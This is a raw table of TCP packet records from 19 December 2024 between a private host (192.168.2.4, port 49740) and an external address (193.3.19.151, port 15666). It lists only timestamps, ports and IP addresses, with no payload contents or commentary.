Dec 19, 2024 08:11:59.866080999 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.866156101 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.866197109 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.866250038 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.866255999 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.866381884 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.866430044 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.867005110 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.867072105 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.909190893 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.909488916 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.971363068 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.971390009 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.971453905 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.971497059 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.971509933 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.971539974 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.971570969 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.971713066 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.971784115 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.971812963 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.972091913 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.972103119 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.972146988 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.972187996 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.972242117 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.972301006 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.972357035 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.972476959 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.972521067 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.972563982 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.972652912 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.972688913 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.972781897 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.972837925 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.972913980 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.973040104 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.973088026 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.973160982 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.973208904 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.973417997 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.973429918 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.973479033 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.973527908 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.973567963 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.973627090 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.973737955 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.973762989 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.973793983 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.973885059 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.973923922 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.973984957 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.974191904 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.974216938 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.974246025 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.974276066 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.974378109 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.974445105 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.974455118 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.974492073 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.974559069 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.974601984 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.974605083 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.974766970 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.974812031 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.974857092 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.975044012 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.975056887 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.975100040 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.975115061 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.975172043 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.975223064 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.975326061 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.975346088 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.975457907 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.975480080 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.975645065 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.975656033 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.975676060 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.975706100 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.975728035 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.975770950 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.975867987 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.975910902 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.976048946 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.976092100 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.976326942 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.976371050 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.976399899 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.976438046 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.976448059 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.976562977 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.976572037 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.976607084 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.976695061 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.976736069 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.976742983 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.976780891 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.976908922 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.976984024 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.977021933 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.977040052 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.977144003 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.977232933 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.977297068 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.977432013 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.977442026 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.977484941 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.977684021 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.977694988 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.977705956 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.977746010 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.977757931 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.977762938 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.977967978 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978015900 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.978189945 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978202105 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978255987 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.978260994 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978298903 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.978437901 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978447914 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978456020 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978471994 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978501081 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.978518009 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.978610039 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978698969 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.978729010 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978738070 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978866100 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978871107 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.978903055 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.978909016 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.978943110 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.979091883 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979111910 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979127884 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.979155064 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.979244947 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979254007 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979300022 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.979305029 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979346991 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979388952 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.979476929 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979495049 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979511023 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.979527950 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.979598999 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979634047 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.979651928 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979708910 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979748964 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.979818106 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979827881 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979859114 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.979893923 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.979933023 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.980089903 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.980125904 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.980156898 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.980216026 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.980254889 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.980266094 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.980304003 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.980408907 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.980420113 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.980453968 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.980617046 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.980627060 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.980663061 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.980699062 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.980709076 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.980745077 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.980788946 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.980798006 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.980824947 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.980839968 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.980967045 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981004000 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.981017113 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981159925 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981203079 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.981226921 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981262922 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981271982 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981304884 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.981319904 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.981360912 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981395006 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.981417894 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981477022 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.981514931 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981544971 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981584072 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.981657982 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981698990 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.981794119 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981815100 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981823921 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981836081 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.981854916 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.981937885 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981947899 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.981980085 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.982112885 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982124090 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982148886 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.982177973 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.982212067 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982222080 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982248068 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.982273102 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.982331991 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982342005 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982371092 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.982475996 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982486010 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982517004 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.982530117 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.982625961 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982635975 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982669115 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.982770920 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982887983 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982897997 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982939005 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.982942104 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.983016014 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.983027935 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.983055115 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.983068943 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.983181000 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.983222961 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.983225107 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.983309984 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.983364105 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.983392000 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.983412027 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.983431101 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.983603954 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.983613968 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.983642101 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.983714104 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.983724117 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.983752966 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.983766079 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.983871937 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.983912945 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.983954906 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.983990908 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984002113 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984039068 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.984071016 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984102011 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984146118 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.984221935 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984256983 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984261036 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.984302998 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.984333992 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984412909 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984452009 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.984476089 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984484911 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984517097 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.984616041 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984625101 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984664917 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984666109 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.984674931 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984707117 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.984750032 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984760046 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984791040 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.984806061 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.984857082 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984865904 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984901905 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.984908104 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984919071 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.984952927 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.985053062 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985061884 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985095024 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.985109091 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.985219955 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985229969 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985269070 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.985281944 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985291004 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985331059 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.985435009 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985446930 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985490084 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.985506058 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985515118 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985547066 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.985560894 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.985629082 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985639095 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985670090 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.985801935 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985812902 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985848904 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.985884905 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985894918 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.985930920 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986004114 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986044884 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986062050 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986193895 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986212969 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986233950 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986265898 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986326933 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986402035 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986433029 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986447096 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986459970 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986469984 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986499071 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986504078 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986507893 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986515045 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986526012 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986542940 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986545086 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986552954 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986558914 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986579895 CET	15666	49740	193.3.19.151	192.168.2.4
